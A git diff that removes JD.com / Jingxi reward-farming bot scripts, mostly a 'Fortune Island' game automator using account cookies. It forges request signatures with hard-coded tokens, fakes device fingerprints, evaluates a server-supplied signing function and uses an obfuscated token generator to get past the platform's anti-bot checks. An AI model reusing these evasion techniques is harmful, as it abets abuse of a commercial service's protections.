} - }) - }) -} -function getPearlDailyReward() { - return new Promise((resolve) => { - $.get(taskUrl(`user/GetPpPearlDailyReward`, `__t=${Date.now()}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} PpPearlDailyDraw API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function pearlDailyDraw(ddwSeasonStartTm, strToken) { - return new Promise((resolve) => { - $.get(taskUrl(`user/PpPearlDailyDraw`, `__t=${Date.now()}&ddwSeaonStart=${ddwSeasonStartTm}&strToken=${strToken}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} PearlDailyDraw API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - console.log(`抽奖成功:获得${data.strPrizeName || JSON.stringify(data)}\n`) - } else { - console.log(`抽奖失败:${data.sErrMsg}\n`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function composePearlAward(strDT, type, size) { - return new Promise((resolve) => { - $.get(taskUrl(`user/ComposePearlAward`, `__t=${Date.now()}&type=${type}&size=${size}&strBT=${strDT}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} ComposePearlAward API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - console.log(`模拟操作中奖:获得${data.ddwAwardHb }个金豆子,总计获得${data.ddwVirHb }个金豆子`) - } else { - console.log(`模拟操作未中奖:${data.sErrMsg}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -// 助力奖励 -function pearlHelpDraw(ddwSeasonStartTm, dwUserId) { - return new Promise((resolve) => { - $.get(taskUrl(`user/PearlHelpDraw`, `__t=${Date.now()}&ddwSeaonStart=${ddwSeasonStartTm}&dwUserId=${dwUserId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} PearlHelpDraw API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - console.log(`领取助力奖励成功:获得${data.StagePrizeInfo.ddwAwardHb }个金豆子,总计获得${data.StagePrizeInfo.ddwVirHb }个金豆子`) - } else { - console.log(`领取助力奖励失败:${data.sErrMsg}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -// 助力 -function helpByStage(shareCodes) { - return new Promise((resolve) => { - $.get(taskUrl(`user/PpPearlHelpByStage`, `__t=${Date.now()}&strShareId=${shareCodes}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} helpbystage API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0 || data.sErrMsg === 'success') { - console.log(`助力成功`) - } else if (data.iRet === 2235 || data.sErrMsg === '今日助力次数达到上限,明天再来帮忙吧~') { - console.log(`助力失败:${data.sErrMsg}`) - $.canHelp = false - } else if (data.iRet === 2232 || data.sErrMsg === '分享链接已过期') { - console.log(`助力失败:${data.sErrMsg}`) - $.delcode = true - } else if (data.iRet === 9999 || data.sErrMsg === '您还没有登录,请先登录哦~') { - console.log(`助力失败:${data.sErrMsg}`) - $.canHelp = false - } else if (data.iRet === 2229 || data.sErrMsg === '助力失败啦~') { - console.log(`助力失败:您的账号已黑`) - $.canHelp = false - } else if (data.iRet === 2190 || data.sErrMsg === '达到助力上限') { - console.log(`助力失败:${data.sErrMsg}`) - $.canHelp = false - $.delcode = true - } else { - $.canHelp = false - console.log(`助力失败:${data.sErrMsg}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -function getAuthorShareCode(url) { - return new Promise(async resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - resolve(JSON.parse(data)) - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(); - } - }) - await $.wait(10000) - resolve(); - }) -} - -// 获取用户信息 -function getUserInfo(showInvite = true) { - return new Promise(async (resolve) => { - $.get(taskUrl(`user/QueryUserInfo`, `ddwTaskId=&strShareId=&strMarkList=${encodeURIComponent('guider_step,collect_coin_auth,guider_medal,guider_over_flag,build_food_full,build_sea_full,build_shop_full,build_fun_full,medal_guider_show,guide_guider_show,guide_receive_vistor,daily_task,guider_daily_task')}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} QueryUserInfo API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - const { - ddwRichBalance, - ddwCoinBalance, - sErrMsg, - strMyShareId, - dwLandLvl, - LeadInfo = {}, - Business = {}, - } = data; - if (showInvite) { - console.log(`获取用户信息:${sErrMsg}\n${$.showLog ? data : ""}`); - console.log(`\n当前等级:${dwLandLvl},金币:${ddwCoinBalance},财富值:${ddwRichBalance},连续营业天数:${Business.dwBussDayNum},离线收益:${Business.ddwCoin}\n`) - } - if (showInvite && strMyShareId) { - console.log(`财富岛好友互助码每次运行都变化,旧的当天有效`); - console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${strMyShareId}\n`); - $.shareCodes.push(strMyShareId) - } - $.info = { - ...$.info, - ddwRichBalance, - ddwCoinBalance, - strMyShareId, - dwLandLvl, - LeadInfo, - }; - resolve({ - ddwRichBalance, - ddwCoinBalance, - strMyShareId, - LeadInfo, - }); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -// 新手任务 -async function noviceTask(){ - let body = `` - await init(`user/guideuser`, body) - body = `strMark=guider_step&strValue=welcom&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_over_flag&strValue=999&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_step&strValue=999&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_step&strValue=999&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_over_flag&strValue=999&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_step&strValue=gift_redpack&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_step&strValue=none&dwType=2` - await init(`user/SetMark`, body) -} -async function init(function_path, body) { - return new Promise(async (resolve) => { - $.get(taskUrl(function_path, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} init API请求失败,请检查网路重试`) - } else { - if (function_path == "user/SetMark") opId = 23 - if (function_path == "user/guideuser") opId = 27 - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - contents = `1771|${opId}|${data.iRet}|0|${data.sErrMsg || 0}` - await biz(contents) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function biz(contents){ - return new Promise(async (resolve) => { - let option = { - url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, - headers: { - Cookie: cookie, - Accept: "*/*", - Connection: "keep-alive", - Referer: "https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", - "Accept-Encoding": "gzip, deflate, br", - Host: 'm.jingxi.com', - "User-Agent": UA, - "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", - } - } - $.get(option, async (err, resp, _data) => { - try { - // console.log(_data) - } - catch (e) { - $.logErr(e, resp); - } - finally { - resolve(); - } - }) - }) -} - -function taskUrl(function_path, body = '', dwEnv = 7) { - let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; - url += `&_stk=${getStk(url)}`; - url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&dwIsPP=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; - return { - url, - headers: { - "Host": "m.jingxi.com", - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "User-Agent": UA, - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Referer": "https://st.jingxi.com/", - "Cookie": cookie + "cid=4" - } - }; -} -function getStk(url) { - let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) - return encodeURIComponent(arr.filter(x => x).sort().join(',')) -} -function randomString(e) { - e = e || 32; - let t = "0123456789abcdef", a = t.length, n = ""; - for (let i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function showMsg() { - return new Promise(async (resolve) => { - if ($.result.length) { - if ($.notifyTime) { - const notifyTimes = $.notifyTime.split(",").map((x) => x.split(":")); - const now = $.time("HH:mm").split(":"); - console.log(`\n${JSON.stringify(notifyTimes)}`); - console.log(`\n${JSON.stringify(now)}`); - if ( notifyTimes.some((x) => x[0] === now[0] && (!x[1] || x[1] === now[1])) ) { - $.msg($.name, "", `${$.result.join("\n")}`); - } - } else { - $.msg($.name, "", `${$.result.join("\n")}`); - } - - if ($.isNode() && process.env.CFD_NOTIFY_CONTROL) - await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${$.result.join("\n")}`); - } - resolve(); - }); -} - -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - $.newShareCodes = [] - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.shareCodes, ...(readShareCodeRes.data || [])])]; - } else { - $.newShareCodes = [...new Set([...$.shareCodes])]; - } - console.log(`您将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} -function readShareCode() { - return new Promise(async resolve => { - $.get({url: `https://ghproxy.com/https://raw.githubusercontent.com/jiulan/helpRepository/main/json/cfd_hb.json`, 'timeout': 10000}, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000); - resolve() - }) -} -function TotalBean() { - return new Promise(resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Accept-Encoding": "gzip, deflate, br", - "Cookie": cookie + "cid=4" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -/* -修改时间戳转换函数,京喜工厂原版修改 - */ -Date.prototype.Format = function (fmt) { - var e, - n = this, d = fmt, l = { - "M+": n.getMonth() + 1, - "d+": n.getDate(), - "D+": n.getDate(), - "h+": n.getHours(), - "H+": n.getHours(), - "m+": n.getMinutes(), - "s+": n.getSeconds(), - "w+": n.getDay(), - "q+": Math.floor((n.getMonth() + 3) / 3), - "S+": n.getMilliseconds() - }; - /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); - for (var k in l) { - if (new RegExp("(".concat(k, ")")).test(d)) { - var t, a = "S+" === k ? "000" : "00"; - d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) - } - } - return d; -} - -async function requestAlgo() { - $.fingerprint = await generateFp(); - const options = { - "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, - "headers": { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - }, - 'body': JSON.stringify({ - "version": "1.0", - "fp": $.fingerprint, - "appId": $.appId.toString(), - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }) - } - new Promise(async resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`request_algo 签名参数API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(data); - data = JSON.parse(data); - if (data['status'] === 200) { - $.token = data.data.result.tk; - let enCryptMethodJDString = data.data.result.algo; - if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); - console.log(`获取签名参数成功!`) - console.log(`fp: ${$.fingerprint}`) - console.log(`token: ${$.token}`) - console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) - } else { - console.log(`fp: ${$.fingerprint}`) - console.log('request_algo 签名参数API请求失败:') - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function decrypt(time, stk, type, url) { - stk = stk || (url ? getUrlData(url, '_stk') : '') - if (stk) { - const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); - let hash1 = ''; - if ($.fingerprint && $.token && $.enCryptMethodJD) { - hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); - } else { - const random = '5gkjB6SpmC9s'; - $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; - $.fingerprint = 5287160221454703; - const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; - hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); - } - let st = ''; - stk.split(',').map((item, index) => { - st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; - }) - const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); - // console.log(`\nst:${st}`) - // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) - return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) - } else { - return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' - } -} - -/** - * 获取url参数值 - * @param url - * @param name - * @returns {string} - */ -function getUrlData(url, name) { - if (typeof URL !== "undefined") { - let urls = new URL(url); - let data = urls.searchParams.get(name); - return data ? data : ''; - } else { - const query = url.match(/\?.*/)[0].substring(1) - const vars = query.split('&') - for (let i = 0; i < vars.length; i++) { - const pair = vars[i].split('=') - if (pair[0] === name) { - // return pair[1]; - return vars[i].substr(vars[i].indexOf('=') + 1); - } - } - return '' - } -} -/** - * 模拟生成 fingerprint - * @returns {string} - */ -function generateFp() { - let e = "0123456789"; - let a = 13; - let i = ''; - for (; a--; ) - i += e[Math.random() * e.length | 0]; - return (i + Date.now()).slice(0,16) -} -function getJxToken() { - var _0x1e2686 = { - 'kElFH': 'abcdefghijklmnopqrstuvwxyz1234567890', - 'MNRFu': function(_0x433b6d, _0x308057) { - return _0x433b6d < _0x308057; - }, - 'gkPpb': function(_0x531855, _0xce2a99) { - return _0x531855(_0xce2a99); - }, - 'KPODZ': function(_0x3394ff, _0x3181f7) { - return _0x3394ff * _0x3181f7; - }, - 'TjSvK': function(_0x2bc1b7, _0x130f17) { - return _0x2bc1b7(_0x130f17); - } - }; - - function _0xe18f69(_0x5487a9) { - let _0x3f25a6 = _0x1e2686['kElFH']; - let _0x2b8bca = ''; - for (let _0x497a6a = 0x0; _0x1e2686['MNRFu'](_0x497a6a, _0x5487a9); _0x497a6a++) { - _0x2b8bca += _0x3f25a6[_0x1e2686['gkPpb'](parseInt, _0x1e2686['KPODZ'](Math['random'](), _0x3f25a6['length']))]; - } - return _0x2b8bca; - } - return new Promise(_0x1b19fc => { - let _0x901291 = _0x1e2686['TjSvK'](_0xe18f69, 0x28); - let _0x5b2fde = (+new Date())['toString'](); - if (!$.cookie['match'](/pt_pin=([^; ]+)(?=;?)/)) { - console['log']('此账号cookie填写不规范,你的pt_pin=xxx后面没分号(;)\n'); - _0x1e2686['TjSvK'](_0x1b19fc, null); - } - let _0x1bb53f = $.cookie['match'](/pt_pin=([^; ]+)(?=;?)/)[0x1]; - let _0x367e43 = $['md5']('' + decodeURIComponent(_0x1bb53f) + _0x5b2fde + _0x901291 + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')['toString'](); - _0x1e2686['TjSvK'](_0x1b19fc, { - 'timestamp': _0x5b2fde, - 'phoneid': _0x901291, - 'farm_jstoken': _0x367e43 - }); - }); -} -!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_cjhz.js b/jd_cjhz.js deleted file mode 100644 index c4633ecf5..000000000 --- a/jd_cjhz.js +++ /dev/null @@ -1,402 +0,0 @@ -/* -京东超级盒子 -更新时间:2022-1-9 -活动入口:京东APP-搜索-超级盒子 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京东超级盒子 -24 3,13 * * * https://raw.githubusercontent.com/msechen/script/main/jd_cjhz.js, tag=京东超级盒子, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true - -================Loon============== -[Script] -cron "24 3,13 * * *" script-path=https://raw.githubusercontent.com/msechen/script/main/jd_cjhz.js,tag=京东超级盒子 - -===============Surge================= -京东超级盒子 